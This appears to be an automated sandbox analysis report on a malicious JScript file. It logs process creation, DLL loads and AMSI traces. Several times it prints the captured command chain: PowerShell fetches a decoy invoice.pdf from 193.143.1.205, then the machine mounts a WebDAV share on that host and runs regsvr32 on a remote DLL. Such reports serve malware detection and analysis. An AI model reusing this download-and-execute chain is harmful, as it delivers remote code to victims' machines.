Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,14982553076339346027,7902845990942024028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,14982553076339346027,7902845990942024028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8662.js.csv");ITextStream.WriteLine(" entry:8433 f:tkugkmrw");ITextStream.WriteLine(" exec:2 f:tkugkmrw");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
